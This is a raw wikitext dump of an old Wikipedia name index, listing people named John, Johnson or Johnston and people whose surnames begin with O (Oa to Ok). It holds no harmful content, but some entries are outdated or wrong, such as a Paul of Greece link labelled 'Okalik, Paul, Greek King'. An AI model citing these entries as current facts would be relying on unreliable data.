*[[John of the Cross]], (died 1591), canonized by Pope in 1726 
*[[John of Damascus]], (c.676–749), religious writer, recognized as saint by Orthodox Church
*[[John of God]], (1495 - 1550), Portuguese-born Spanish monk, canonized by Pope in 1690 
*[[John the Apostle]], (fl. 1&lt;sup&gt;st&lt;/sup&gt; century), personal disciple of Jesus, among those most widely recognized as saints, considered by some to be John the Evangelist
*[[John the Baptist]], (d. early 1&lt;sup&gt;st&lt;/sup&gt; century), Jewish preacher and reputed admirer of Jesus's early preaching,  among those most widely recognized as saints
*[[John the Evangelist]], (fl. late 1&lt;sup&gt;st&lt;/sup&gt; century), Gospel author, among those most widely recognized as saints, considered by some to be John the Apostle

===== Monarchs by given name John =====
*[[John II of Brabant]], (born 1275)
*[[John I Tzimisces]], (c. 941-c, 976), Byzantine Emperor
*[[John II Comnenus]], Byzantine Emperor
*[[John III Ducas Vatatzes]], (1193-1254), Byzantine Emperor
*[[John IV Lascaris]], Byzantine Emperor
*[[John V Palaeologus]], (1332-1391), Byzantine Emperor
*[[John VI Cantacuzenus]], (c. 1292-1383), Byzantine Emperor
*[[John VII Palaeologus]], (1370-1408), Byzantine Emperor
*[[John VIII Palaeologus]], (1390-1448), Byzantine Emperor
*[[John I of Castile]], (1358-1390), Castilian monarch
*[[John II of Castile]], (1405-1454), Castilian monarch
*[[John of Denmark]], (1481-1513), Norwegian monarch
*[[John of England]], (1166-1216), king of [[England]]
*[[John I of France]], (died 1316)
*[[John I of Poland]], (1492-1501), Polish ruler
*[[John II of Poland]], (1648-1668), abdicated
*[[John III of Poland]], (1674-1696), Polish ruler
*[[John I of Portugal]], (1385-1433), Portuguese monarch
*[[John II of Portugal]], (1481-1495), Portuguese monarch
*[[John III of Portugal]], (1521-1557), Portuguese monarch
*[[John IV of Portugal]], (1640-1656), Portuguese monarch
*[[John V of Portugal]], (1706-1750), Portuguese monarch
*[[John VI of Portugal]], ('' 1799-1816'', 1816-1826), Portuguese monarch

===== Others by given name John =====
*[[Don John of Austria|John of Austria, Don]], (died 1578), Spanish Governor-General of the Netherlands
*[[John Du Scot]], (800-877) Christian philosopher
*[[John, Lord Lovelace]], American colonial Governor of New Jersey
*[[John of Jandun]], scholastic philosopher
*[[John of Mirecourt]], scholastic philosopher
*[[John of Paris]], scholastic philosopher
*[[John of Reading]], scholastic philosopher
*[[John of Salisbury]], (c. 1115-1180), scholastic philosopher
*[[John of Saxony]], (1801-1873), King of Saxony
*[[John of Seville]], scholastic philosopher
*[[John of Sittingbourne]], Archbishop of Canterbury
*[[John of St. Gilles]], scholastic philosopher
*[[John of Treviso]], scholastic philosopher
*[[John McCormack|John, Count McCormack]], ([[23 June]] [[1884]] - [[16 September]] [[1945]]), operatic tenor
*[[John the Blind of Luxemburg|John the Blind]] (1310-1346), Bohemian aristocrat
*[[John the Fearless]], (1371-1419), Duke of Burgundy

==== John as surname ====
*[[Augustus John|John, Augustus]], (1878-1961), artist
*[[Elton John|John, Elton]], (born 1947), British pop singer
*[[Gwen John|John, Gwen]], (1876-1939), artist
*[[Little Willie John|John, Little Willie]] (correct filing is &quot;Willie John, Little (as given name)&quot;: John is a middle name), (born 1937), musician
*[[Stern John|John, Stern]] (born 1976), Trinidad and Tobago footballer
*[[Tommy John|John, Tommy]] (born 1943), baseball player
*[[Danny John-Jules|John-Jules, Danny]], actor

=== Johns ===
==== People named Johns ====
*[[Daniel Johns|Johns, Daniel]], (born 1978), singer
*[[Glynis Johns|Johns, Glynis]], (born 1923), actress
*[[Jasper Johns|Johns, Jasper]], (born 1930), painter
*[[Michael Johns|Johns, Michael]], (born 1964), business executive and former White House speechwriter to former President George H.W. Bush
*[[Orrick Glenday Johns|Johns, Orrick Glenday]], (died 1946), poet, playwright

==== Johnse ====
*[[Erland Johnsen|Johnsen, Erland]], (born 1967), Norwegian footballer
*[[Hinrich Philip Johnsen|Johnsen, Hinrich Philip]], (1716 - 1779), composer
*[[Julia E. Johnsen|Johnsen, Julia E.]], (fl. [[1920s]]), social-science editor

==== Johnso ====
===== Johnson =====
====== Johnson, A-C ======
*[[Abigail Johnson|Johnson, Abigail]] (born 1962)
*[[Amy Johnson|Johnson, Amy]] (1903-1941), British flier
*[[Andrew Johnson|Johnson, Andrew]] (1808-1875), American politician
*[[Avery Johnson|Johnson, Avery]] (born 1965), basketball player
*[[Ben Johnson (athlete)|Johnson, Ben]] (born 1961), sprinter
*[[Ben Johnson (actor)|Johnson, Ben]] (1918-1996), actor
*[[Bill Johnson (jazz musician)|Johnson, Bill]] (1872-1972), musician
*[[Bill Johnson (hockey)|Johnson, Bill]] (born 1928), Canadian hockey player &lt;!--(see [[List of NHL one gamers#J]]) --&gt;
*[[Bill Johnson (skier)|Johnson, Bill]] (born 1960), American skier
*[[Bill &quot;Tiger&quot; Johnson|Johnson, Bill &quot;Tiger&quot;]] (born 1926), American football player &amp; coach
*[[Blind Willie Johnson|Johnson, &quot;Blind&quot; Willie]] (c. 1902-1947), musician
* [[Bob Johnson (baseball)|Johnson, Bob &quot;Indian Bob&quot;]] (1905-1982), baseball player
* [[Bob Johnson (ice hockey)|Johnson, Bob]] (1931-1991), hockey coach
* [[Boris Johnson|Johnson, Boris]] (born 1964), British journalist
* [[Brian Johnson|Johnson, Brian]] (born 1947),  Australian musician
*[[Bunk Johnson|Johnson, Bunk]] (1879?-1949), musician
* [[Bushrod Johnson|Johnson, Bushrod]] (1817-1880), American soldier
*[[Byron Ingemar Johnson|Johnson, Byron Ingemar]] (1890-1964), Canadian politician 
*[[Celia Johnson|Johnson, Celia]] (1908-1982), actress
*[[Charles Johnson (pirate biographer)|Johnson, Charles]] (fl. 1720s), British biographer
*[[Charles Johnson (writer)|Johnson, Charles]] (1679-1748), British playwright
*[[Charles Johnson (U.S. politician)|Johnson, Charles]] (1752-1802), American politician
*[[Charles E. Johnson|Johnson, Charles E.]] (fl. 2000s), American politician
*[[Charles Johnson (baseball)|Johnson, Charles Edward]] (born 1971), American baseball player 
*[[Clarence Johnson|Johnson, Clarence L. &quot;Kelly&quot;]] (1910-1990), American engineer
* [[Clark Johnson|Johnson, Clark]] (born 1954), actor

====== Johnson, D-H ======
*[[David Johnson (fur trapper)|Johnson, David]], North American fur trapper
*[[David Johnson (governor)|Johnson, David]], (fl. 1840s), American politician &lt;!-- Governor of South Carolina, 1846-1848 --&gt;
*[[David Johnson (Canadian politician)|Johnson, David]], (born 1945), Canadian politician &lt;!-- ([[Results of the Canadian federal election, 2004#Suburban Toronto|Ontario]]) --&gt;
*[[David Johnson (footballer)|Johnson, David]], (born 1951), British football player &lt;!-- ([[Liverpool F.C.]]) --&gt;
*[[David Johnson (U.S. politician)|Johnson, David]], (fl. 2000s),  politician &lt;!-- ([[U.S. Senate election, 2000|Indiana]]) --&gt;
*[[David Johnson (cinematographer)|Johnson, David]], (fl. 2000s), cinematographer &lt;!-- ''[[Alien vs. Predator (movie)|Alien vs. Predator]]'')--&gt;
*[[David S. Johnson|Johnson, David S.]], (born 1945) computer scientist
*[[Dink Johnson|Johnson, Dink]], (1892-1954), jazz musician
*[[Don Johnson|Johnson, Don]], (born 1959), American actor
*[[E. Pauline Johnson|Johnson, E. Pauline]], (1861-1913), Canadian writer and poet
*[[Eyvind Johnson|Johnson, Eyvind]], (1900-1976), Swedish writer
*[[Fenton Johnson|Johnson, Fenton]], poet
*[[Fergus Johnson|Johnson, Fergus]], Irish cultural figure &lt;!-- member of [[Aosdána]] --&gt;
*[[George W. Johnson|Johnson, George W.]], (c.1855-1914) pioneer recording artist
*[[Georgia Douglas Johnson|Johnson, Georgia Douglas]], poet
*[[Harold Johnson|Johnson, Harold]], (born 1928), boxer
*[[Helene Johnson|Johnson, Helene]], poet
*[[Hiram Johnson|Johnson, Hiram Warren]], (1866-1945), American politician &amp; activist

====== Johnson, J ======
*[[J.B. Johnson|Johnson, J.B.]] (1887-1970), American engineer
*[[J. J. Johnson|Johnson, J.J.]] (1924-2001), musician
*[[Jack Johnson (boxer)|Johnson, Jack]] (1878-1946), American boxer
*[[Jack Johnson (musician)|Johnson, Jack]], musician
*[[James Johnson (World War II)|Johnson, James]], British air-soldier
*[[James P. Johnson|Johnson, James P.]], (1894-1955), American pianist &amp; composer
*[[James Weldon Johnson|Johnson, James Weldon]], (1871-1938), writer, folklorist, activist
*[[Janis G. Johnson|Johnson, Janis G.]], Canadian politician
*[[Jimmie Johnson|Johnson, Jimmie]], (born 1975), racecar driver
*[[Jimmy Johnson (football coach)|Johnson, Jimmy]], (born 1943), American football coach &amp; TV analyst
*[[Jimmy Johnson (football player)|Johnson, Jimmy]], (born 1938), American football player
*[[John Johnson (Composer)|Johnson, John]], (c. 1550-1594), English lutenist &amp; composer
*[[John Johnson (Seigneur of Sark)|Johnson, John, Seigneur of Sark]], (d. 1723), British ruler
*[[John Johnson (Loyalist)|Johnson, John, Sir]], (1742-1830), American soldier &amp; exile to Canada
*[[John Johnson (Ohio)|Johnson, John]], (1805-1867), American politician - Ohio
*[[John de Monins Johnson|Johnson, John de Monins]], (1882-1956), British scholar &amp; printer 
*[[John H. Johnson|Johnson, John H.]], (1918-2005), African American publisher 
*[[John Henry Johnson|Johnson, John Henry]], (b. 1956), baseball player
*[[John Howard Getty Johnson|Johnson, John Howard Getty]], (fl. 1970s), American basketball player
*[[Liver-Eating Johnson|Johnson, John &quot;Liver-Eating&quot;]], (c. 1824-1900), American frontier figure
*[[John Neeley Johnson|Johnson, John Neeley]], (1825-1872), American politician - California
*[[J. Rosamond Johnson|Johnson, John Rosamond]], (1873-1954), composer &amp; opera singer
*[[John Johnson (Mohawk)|Johnson, John &quot;Smoke&quot;]], (1792–1886), Canadian Mohawk leader

====== Johnson, K-P ======
*[[Ken Johnson|Johnson, Ken]], (born 1962), American 
*[[Kevin Johnson|Johnson, Kevin]], (born 1965), American basketball player
*[[Lady Bird Johnson|Johnson, Lady Bird]], (born 1912), American political-family member
*[[Leavander Johnson|Johnson, Leavander]], (born 1969), boxer
*[[Lionel Johnson|Johnson, Lionel]], poet
*[[Liver-Eating Johnson|Johnson, &quot;Liver-Eating&quot;]], (c. 1824-1900), American frontier figure
*[[Lonnie Johnson|Johnson, Lonnie]], musician
*[[Louis A. Johnson|Johnson, Louis Arthur]], (1891-1966)
*[[Lucius E. Johnson|Johnson, Lucius E.]], (1846-1921), American railroader
*[[Lyndon B. Johnson|Johnson, Lyndon Baines]], (1908-1973), American politician
*[[Magic Johnson|Johnson, Magic]] (born 1959), American basketball player
*[[Marc Johnson|Johnson, Marc]] (born 1953), American musician
*[[Marv Johnson|Johnson, Marv]] (born 1954), musician
*[[Marvin Johnson|Johnson, Marvin]], boxer
*[[Michael Johnson (athlete)|Johnson, Michael]], (born 1967), track-and-field athlete
*[[Scott Johnson|Johnson, M. Scott]] (born 1968), American sculptor 
*[[Michael Johnson (politician)|Johnson, Michael]], Australian politician
*[[Nunnally Johnson|Johnson, Nunnally]], (1897-1977), American filmmaker
*[[Opha Mae Johnson|Johnson, Opah Mae]], (born c. 1900), American soldier
*[[Paul Marshall Johnson, Jr.|Johnson, Paul]], (born 1955), American engineer
*[[E. Pauline Johnson|Johnson, Pauline]], (1861-1913), Canadian writer &amp; poet
*[[Pete Johnson|Johnson, Pete]] (1904-1967), American musician
*[[Philip Johnson|Johnson, Philip]], (born 1906), architect

====== Johnson, R-W ======
*[[Rafer Johnson|Johnson, Rafer]], (born 1935), American athlete 
*[[Richard Mentor Johnson|Johnson, Richard]], (died 1850), American politician
*[[Robert Johnson|Johnson, Robert]], (1911-1938), musician
*[[Robert L. Johnson|Johnson, Robert L.]], (born 1946), media entrepreneur
*[[Samuel Johnson|Johnson, Samuel]], (1709-1784), English poet
*[[Sargent Johnson|Johnson, Sargent]], (1888-1967), painter
*[[John Johnson (Mohawk)|Johnson, &quot;Smoke&quot;]], (1792–1886), Canadian Mohawk leader 
*[[Stephen C. Johnson|Johnson, Stephen C.]], computer scientist
*[[Thomas Johnson (designer)|Johnson, Thomas]], (1714-1778), English woodcarver and furniture designer
*[[Thomas Johnson (governor)|Johnson, Thomas]], (1732-1819), American politician &amp; jurist
*[[Thomas Johnson (Kansas)|Johnson, Thomas]], (1802-1865), American politician in Kansas 
*[[Thomas Johnson (TD)|Johnson, Thomas]], (1873-1963), Irish activist and politician 
*[[Uwe Johnson|Johnson, Uwe]], (born 1934), writer
*[[Van Johnson|Johnson, Van]], (born 1916), actor
*[[Mickey Johnson|Johnson, Wallace Edgar &quot;Mickey&quot;]] (born 1952), American basketball player
*[[Walter Johnson|Johnson, Walter]], (1887-1946)
*[[William Johnson (judge)|Johnson, William]], (1771-1834), American jurist
* [[William Johnson (soldier)|Johnson, William]] (died 1903), American soldier &lt;!-- recipient of the Medal of Honor [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=7877286] --&gt;
* [[William A. Johnson, Jr.|Johnson, William A.]] (fl. 1990s), American politician &lt;!-- mayor of Rochester, New York --&gt;
* [[William E. Johnson|Johnson, William E.]] (1862-1950), American activist &lt;!-- temperance movement leader --&gt;
* [[William Ernest Johnson|Johnson, William Ernest]] (1858-1931), British logician
* [[Bunk Johnson|Johnson, William Gary &quot;Bunk&quot;]] (1879-1949), American &lt;!-- jazz --&gt; musician
*[[William H. Johnson|Johnson, William H.]] (fl. 1860s), American barber &lt;!-- President Abraham Lincoln's barber and valet [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=9475088]--&gt;
*[[William Henry Johnson|Johnson, William Henry]] (1890-1945), English soldier
*[[Zip Johnson|Johnson, William Henry &quot;Zip&quot;]], circus entertainer
*[[Judy Johnson|Johnson, William Julius &quot;Judy&quot;]] (1899-1989), American baseball player
*[[William R. Johnson|Johnson, William R.]] (fl. 1990s), American business manager
*[[William Samuel Johnson|Johnson, William Samuel]], (1727-1819), American politician &lt;!-- founding father, Senator for Connecticut --&gt;
*[[Sir William Johnson, 1st Baronet|Johnson, William, Sir]], (1715-1774), British pioneer and soldier
*[[William Summer Johnson|Johnson, William Summer]], (1913-1995), American chemist, steroid researcher
*[[Blind Willie Johnson|Johnson, Willie, &quot;Blind&quot;]], (c. 1902-1947), musician

==== Johnst ====
*[[Albert Sidney Johnston|Johnston, Albert Sidney]], (1803-1862), Confederate general
*[[Bruce Johnston|Johnston, Bruce]], (born 1944) musician
*[[Daniel Johnston|Johnston, Daniel]], musician
*[[David L. Johnston|Johnston, David L.]], (b. 1940 or 1941), Canadian jurist &amp; academic administrator
*[[Don Johnston|Johnston, Donald]], (b. 1936), Canadian politician
*[[Gabriel Johnston|Johnston, Gabriel]], (1699-1752), British governor of colonial North Carolina
*[[George Johnston|Johnston, George]], novelist
*[[Harry Johnston|Johnston, Harry]], (1858-1927), British explorer of Africa
*[[Jennifer Johnston|Johnston, Jennifer]], member of [[Aosdána]]
*[[John W. Johnston|Johnston, John W.]], (1818-1889), American lawyer, U.S. Senator for Virginia
*[[Lynn Johnston|Johnston, Lynn]], cartoonist
*[[Mary Johnston|Johnston, Mary]], American novelist
*[[Paul W. Johnston|Johnston, Paul W.]], president of the [[Erie Railroad]] [[1949]]&amp;ndash;[[1956]]
*[[Rienzi Melville Johnston|Johnston, Rienzi M.]], (1849-1926), American news publisher, U.S. Senator from Texas
*[[Rita Johnston|Johnston, Rita]]
*[[Samuel Johnston|Johnston, Samuel]], (1733-1816), U.S. Senator, Governor of North Carolina
*[[Stevie Johnston|Johnston, Stevie]], world champion boxer
*[[Thomas Johnston|Johnston, Tom]], aka Tam Johnston, post WW2 Secretary of State for Scotland
*[[Tracy Johnston|Johnston, Tracy]], owner of [[splanic.com]]
*[[Wayne A. Johnston|Johnston, Wayne A.]], (1897-1967), American railroad executive
*[[John Johnstone|Johnstone, John]], a mayor of New York City
*[[Paul Neil Milne Johnstone|Johnstone, Paul Neil Milne]] (-2004), poet

== Johs ==
*[[Hanns Johst|Johst, Hanns]] (1890-1978), German Nazi playwright


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      <comment>/* Oco - Oct */ + Paul O'Connell</comment>
      <text xml:space="preserve">{{List of people O}}

==Oa==
*[[Jack Oakie|Oakie, Jack]], (1903-1978), actor
*[[Annie Oakley|Oakley, Annie]], (1860-1926), US sharpshooter
*[[Berry Oakley|Oakley, Berry]], (1948-1972), American musician
*[[John Oates|Oates, John]], (born 1949), musician (&quot;[[Hall and Oates]]&quot;)
*[[Johnny Oates|Oates, Johnny]], (1946-2004), US baseball catcher and manager
*[[Joyce Carol Oates|Oates, Joyce Carol]], (born 1938), US author, novelist
*[[Mary Ann Oates (1844-1851)|Oates, Mary Ann]] (1844-1851), young slavery victim
*[[Olive Oates|Oates, Olive]], (1838-1903), US survivor of Indian abuses
*[[Titus Oates|Oates, Titus]], (died 1706), British Protestant agitator

==Ob==
===Oba - Obo===
*[[Olusegun Obasanjo|Obasanjo, Olusegun]], (born 1937); President of [[Nigeria]] (1976-1979; 1999-present)
*[[Fulgencio Obelmejias|Obelmejias, Fulgencio]], (born 1953), Venezuelan world boxing champion
*[[Christina Obergföll|Obergföll, Christina]], (born 1981), German athlete
*[[Josef Oberhauser|Oberhauser, Josef]], commander of the [[Belzec]] [[Extermination camp]]
*[[Herta Oberheuser|Oberheuser, Herta]], (1911-1978), doctor, dubious experimenter
*[[Sheldon Oberman|Oberman, Sheldon]], Canadian writer
*[[Gerlinde Obermeier|Obermeier, Gerlinde]], dramatist, author
*[[Ryan Obermeyer|Obermeyer, Ryan]] (born 1981), American digital artist
*[[Mohan Singh Oberoi|Oberoi, Mohan Singh]], (died 2002), hotelier, founder of the Oberoi chain of hotels
*[[Vivek Oberoi|Oberoi, Vivek]], Indian actor
*[[Merle Oberon|Oberon, Merle]], (1911-1979), actor
*[[Hermann Oberth|Oberth, Hermann]], (1894-1989), German physicist
*[[Brane Oblak|Oblak, Brane]], football player
*[[Milton Obote|Obote, Milton]], twice [[Uganda]]n dictator

=== Obr ===
*[[Dositej Obradovic|Obradovic, Dositej]], [[Serbs|Serb]]
*[[Graeme Obree|Obree, Graeme]], broke world hour record (on a home-made bike)
*[[Alexander Obrenovic|Obrenovic, Alexander]], (1889-1903), king of [[Serbia]]
*[[Mihailo Obrenovic|Obrenovic, Mihailo]], Serbian monarch, son of [[Milosh Obrenovic|Obrenovic, Milosh]]
*[[Milosh Obrenovic|Obrenovic, Milosh]], (1815-1839, 1858-1860), Serbian monarch
*[[Murchadh O'Brian of the Isle of Man|O'Brian, Murchadh of the Isle]], (1115-1137), king
*[[Patrick O'Brian|O'Brian, Patrick]], (1914-2000), UK author
*[[Edna O'Brien|O'Brien, Edna]], [[novelist]], member of [[Aosdána]]
*[[Flann O'Brien|O'Brien, Flann]], ''[[At Swim-Two-Birds]]''
*[[Conan O'Brien|O'Brien, Conan]], (born 1963), US comedian and talk show host.
*[[Loughlin O'Brien|O'Brien, Loughlin]], New Zealand politician
*[[Richard O'Brien|O'Brien, Richard]], (born 1942), [[The Rocky Horror Show|Rocky Horror Show]] and [[The Rocky Horror Picture Show|Rocky Horror Picture Show]] writer and actor
*[[Robert C. O'Brien|O'Brien, Robert C.]], ''[[Mrs. Frisby and the Rats of NIMH]]''
*[[Tim O'Brien (author)|O'Brien, Tim]], (born 1946), [[United States|American]] author
*[[Tim O'Brien (musician)|O'Brien, Tim]], [[United States|American]] musician

==Oc==
=== Oca - Ock ===
*[[Pat O'Callaghan|O'Callaghan, Pat]], Olympic gold medal/hammer, 1928, 1932
*[[Aguas Santas Ocaña Navarro|Ocaña Navarro, Aguas Santas]] (born 1963), Honduras' first lady, originally from Spain
*[[Turlough O'Carolan|O'Carolan, Turlough]], 17th century harpist and composer (&quot;Last of the Bards&quot;)
*[[Ric Ocasek|Ocasek, Ric]], (born 1949), musician (&quot;[[The Cars]]&quot;)
*[[Sean O'Casey|O'Casey, Sean]], (1880-1964), playwright
*[[Daisy Ocasio|Ocasio, Daisy]], (born 1964), Puerto Rican multi-sports athlete
*[[Ossie Ocasio|Ocasio, Ossie]] world champion boxer
*[[Tony Ocasio|Ocasio, Tony]], (born c. 1968), Puerto Rican singer, member of Los Chicos
*[[Billy Ocean|Ocean, Billy]], (born 1950), British musician
*[[Bernardino Ochino|Ochino, Bernardino]], (1487-1564)
*[[Ellen Ochoa|Ochoa, Ellen]], astronaut
*[[Severo Ochoa|Ochoa, Severo]], biochemist, [[Nobel Prize]] laureate (1905-1993)
*[[Phil Ochs|Ochs, Phil]], (1940-1976), musician
*[[Ulrich Ochsenbein|Ochsenbein, Ulrich]], (1811-1890), Swiss president
*[[Alton Ochsner|Ochsner, Alton]], surgeon &amp; medical researcher
*[[Johannes Ockeghem|Ockeghem, Johannes]], (c.1430-c.1495), Belgian composer
*[[Wubbo Ockels|Ockels, Wubbo]], astronaut
*[[Simon Ockley|Ockley, Simon]], (1678-1720)

===Oco - Oct===
*[[Arthur O'Connell|O'Connell, Arthur]] (1908-1981), actor
*[[Daniel O'Connell|O'Connell, Daniel]] (1776-1847), Irish activist 
*[[Kevin O'Connell|O'Connell, Kevin]], Irish cultural figure &lt;!-- member of [[Aosdána]] --&gt;
*[[Paul O'Connell|O'Connell, Paul]] (born 1979), Irish rugby player 
*[[Bryan O'Connor|O'Connor, Bryan]] (born 1946), astronaut
*[[Carroll O'Connor|O'Connor, Carroll]] (1925-2001), American actor
*[[Des O'Connor|O'Connor, Des]] (born 1932), British comedian
*[[Donald O'Connor|O'Connor, Donald]] (1925-2003), performer
*[[Edwin O'Connor|O'Connor, Edwin]] (1918-1968), American writer
*[[Feargus O'Connor|O'Connor, Feargus]] (1794-1855), Irish activist 
*[[Flannery O'Connor|O'Connor, Flannery]] (1925-1964), American author
*[[Frank O'Connor (actor)|O'Connor, Frank]] (1897-1979), actor
*[[Frank O'Connor|O'Connor, Frank]] (1903-1966), writer
*[[Hazel O'Connor|O'Connor, Hazel]] (born 1955), British singer
*[[Richard O'Connor|O'Connor, Richard]] (1889-1981), British soldier
*[[Sandra Day O'Connor|O'Connor, Sandra Day]] (born 1930), American jurist
*[[Sinéad O'Connor|O'Connor, Sinéad]] (born 1966), Irish singer &amp; activist
*[[Ulick O'Connor|O'Connor, Ulick]] (born 1929), Irish cultural figure &lt;!-- [[Aosdána]] --&gt;
*[[Herbert R. O'Conor|O'Conor, Herbert R.]] (1896-1960), American politician 
*[[Thomas O'Crohan|O'Crohan, Thomas]]
*[[Caesar Augustus|Octavianus, Gaius Julius Caesar]], Roman emperor

==Od==
=== Oda - Odi ===
*[[Oda Chikazane]], (????-????), reputed progenitor of the Japanese Oda clan
*[[Oda Nagamasu]], (1548-1622), Japanese personality
*[[Oda Nobuhide]], (1510-1551), Japanese warlord
*[[Oda Nobunaga]], (1534-1582), Japanese ''daimyo''
*[[Oda Nobuyuki]], (????-1557), Japanese personality
*[[W. Lee O'Daniel|O'Daniel, W. Lee]], (1890-1969), American politician
*[[Anita O'Day|O'Day, Anita]], (born 1919), American musician
*[[Bill Oddie|Oddie, William Edgar (Bill)]], (born 1941), British comedian
*[[Tasker Oddie|Oddie, Tasker Lowndes]], (1870-1950), American politician
*[[Davíð Oddsson|Oddsson, Davíð]], (born 1948), Icelandic politician
*[[Erik Ode|Ode, Erik]], (1910-1983), film director and actor
*[[Benjamin Barker Odell Jr.|Odell, Benjamin B., Jr.]] (1854-1926), American politician
*[[Scott O'Dell|O'Dell, Scott]], (1898-1989), American author
*[[Thomas C. Oden|Oden, Thomas C.]] (born 1931), American theologian
*[[Clifford Odets|Odets, Clifford]], (1906-1963), American playwright, screenwriter, and social protester
*[[Odetta]], (born 1930), African-American singer
*[[Jaramogi Oginga Odinga|Odinga, Jaramogi Ajuma Oginga]], (1911?-1994), Kenyan politician, spirtual leader to the Luo people

=== Odo - Odz ===
*[[Odo of Châteauroux]], scholastic philosopher
*[[Odo, Count of Paris]] (died 866), Frankish king
*[[Jerry Wayne Odom Jr.|Odom, Jerry Wayne Jr.]] (born 1978), [[Baton Rouge]], [[Louisiana]] [[Computer_Programmer]] and [[Ford Mustang]] fanatic.
*[[Daniel O'Donnell|O'Donnell, Daniel]], C and W singer
*[[Peter O'Donnell|O'Donnell, Peter]] (born 1920), British creator of [[Modesty Blaise]]
*[[Rosie O'Donnell|O'Donnell, Rosie]] (born 1962), [[United States|American]] [[actor]], [[comedian]] and [[talk show]] host
*[[Brendan O Donoghue|O'Donoghue, Brendan]], [[Chief Herald of Ireland]], 1997-date
*[[Lefty O'Doul|O'Doul, Lefty]] (1897-1969), [[baseball]] star, restaurateur
*[[Brian O'Driscoll|O'Driscoll, Brian]] (born 1979), Irish [[rugby union]] player
*[[General Eoin O'Duffy|O'Duffy, General Eoin]], leader of the [[Blueshirt]]s
*[[Mick O'Dywer|O'Dywer, Mick]], successful gaelic inter-county football manager
*[[William O'Dwyer|O'Dwyer, William]]
*[[Arsena Odzelashvili|Odzelashvili, Arsena]], (1797–1842) Georgian outlaw

== Oe ==
&lt;!--

Note Well! this otherwise unreasonably short section exists to be the target of a redirect from 

[[List of people by name: Œ]]

Don't collapse it into another! 
--&gt;
*[[Kenzaburo Oe|Oe, Kenzaburo]], (born 1935), novelist
*[[Oe no Hiromoto]], (1148-1225), Japanese politician
*[[Jean Francis Oeben|Oeben, Jean Francois]], (c.1721-1763)
*[[Adam Gottlob Oehlenschläger|Oehlenschläger, Adam Gottlob]], (1779-1850), Danish poet
*[[Al Oerter|Oerter, Al]], (born 1936), track and field athlete
*[[Alexander von Oettingen|Oettingen, Alexander von]], (1827-1905), theologian, statistician

== Of - Og ==
*[[Offa of Essex]], ruler 
*[[Offa of Mercia]], (died 796), king of Mercia, Bretwalda
*[[Jacques Offenbach|Offenbach, Jacques]], (1819-1880), composer
*[[Nick Offerman|Offerman, Nick]] (born 1970), American actor
*[[John Offord|Offord, John]], British religious leader &lt;!-- Archbishop of Canterbury --&gt;
*[[Liam O'Flaherty|O'Flaherty, Liam]], (1896-1984), author
*[[Ronan O'Gara|O'Gara, Ronan]], (born 1977), Irish rugby player
*[[Nikolai Ogaryov|Ogaryov, Nikolai]], (1813-1877), author
*[[William Butler Ogden|Ogden, William Butler]] (1805-1877), American politician &amp; railway business manager
*[[Mart Ogen|Ogen, Mart]], poet
*[[Adolf Ogi|Ogi, Adolf]], (born 1942), Swiss politician
*[[John Ogilby|Ogilby, John]], (1600-1676)
*[[Angus Ogilvy|Ogilvy, Sir Angus]], British businessman
*[[David Ogilvy|Ogilvy, David]], British advertiser
*[[Emperor Ogimachi of Japan|Ogimachi, emperor of Japan]], (1517-1593)
*[[Benjamin Ogle|Ogle, Benjamin]], American politician 
*[[James Edward Oglethorpe|Oglethorpe, James Edward]], (1696-1785)
*[[Blaz Ogorevc|Ogorevc, Blaz]], poet
*[[Juan O'Gorman|O'Gorman, Juan]], (1905-1982), Mexican artist
*[[Sean O' Grady|O' Grady, Sean]], (born 1959), boxer

== Oh == 
*[[Sandra Oh|Oh, Sandra]], (born 1971), Canadian actor 
*[[Hans von Ohain|Ohain, Hans von]], (1911&amp;ndash;1998), co-founder of the [[jet engine]]
*[[Madalyn Murray O'Hair|O'Hair, Madalyn Murray]], (1919&amp;ndash;1995), US atheist
*[[George O'Hanlon|O'Hanlon, George]], (1912&amp;ndash;1989), actor/director.
*[[Michael O'Hanrahan|O'Hanrahan, Michael]], (1877&amp;ndash;1916), Irish nationalist
*[[Catherine O'Hara|O'Hara, Catherine]], (born 1954), actress
*[[Frank O'Hara|O'Hara, Frank]], (1926&amp;ndash;1966), poet
*[[Geoffrey O'Hara|O'Hara, Geoffrey]], (1882&amp;ndash;1967), Canadian songwriter
*[[Jean O'Hara|O'Hara, Jean]], prostitute
*[[Mary O'Hara|O'Hara, Mary]], harpist/singer
*[[Maureen O'Hara|O'Hara, Maureen]], (born 1920), actress
*[[Edward O'Hare|O'Hare, Edward]] (1914&amp;ndash;1943), US pilot
*[[Dan O'Herlihy|O'Herlihy, Dan]], (1919&amp;ndash;2005), actor
*[[Bernardo O'Higgins|O'Higgins, Bernardo]] (1778&amp;ndash;1842), Chilean revolutionary leader and statesman
*[[Bertil Ohlin|Ohlin, Bertil]], (1899&amp;ndash;1979), Swedish economist
*[[Georg Ohm|Ohm, Georg]], (1789&amp;ndash;1854), physicist
*[[Benno Ohnesorg|Ohnesorg, Benno]], (1940&amp;ndash;1967), German student of Roman languages and literature
*[[Martine Ohr|Ohr, Martine]], (born 1964), Dutch field hockey player
*[[Ohshima Naoto]], character designer of [[Sonic the Hedgehog]]

== Oi - Ok ==
*[[Jarkko Oikarinen|Oikarinen, Jarkko]], Finnish creator of [[Internet relay chat|IRC]]
*[[David Oistrakh|Oistrakh, David]], (1908-1974), violinist
*[[Igor Davidovich Oistrakh|Oistrakh, Igor Davidovich]], (born 1931), violinist
*[[Luis Francisco Ojeda|Ojeda, Luis Francisco]] (born 1941), Puerto Rican television reporter, talk show host
*[[Emperor Ojin|Ojin, Emperor]], emperor of Japan
*[[Odumegdu Ojukwu|Ojukwu, Odumegdu]], leader of Biafra
*[[Kristiina Ojuland|Ojuland, Kristiina]], (born 1966), Estonian politician
*[[Emeka Okafor|Okafor, Emeka]] (born 1982), NBA player
*[[Paul of Greece|Okalik, Paul]], (1947-1964), Greek King
*[[Paul Okalik|Okalik, Paul]], premier of [[Nunavut]]
*[[Sean O'Keefe|O'Keefe, Sean]], (born 1956), 10th Administrator of [[NASA]]
*[[Georgia O'Keeffe|O'Keeffe, Georgia]], (1887-1986), American painter
*[[Ugonna Okegwo|Okegwo, Ugonna]]
*[[Malcolm O'Kelly|O'Kelly, Malcolm]] (born 1974), Irish rugby player
*[[Sean T. O'Kelly|O'Kelly, Sean T.]], (1882-1966), president of Ireland
*[[Tom Okker|Okker, Tom]], (born 1944), Dutch tennis player 
*[[Edward Okun|Okun, Edward]], Polish painter


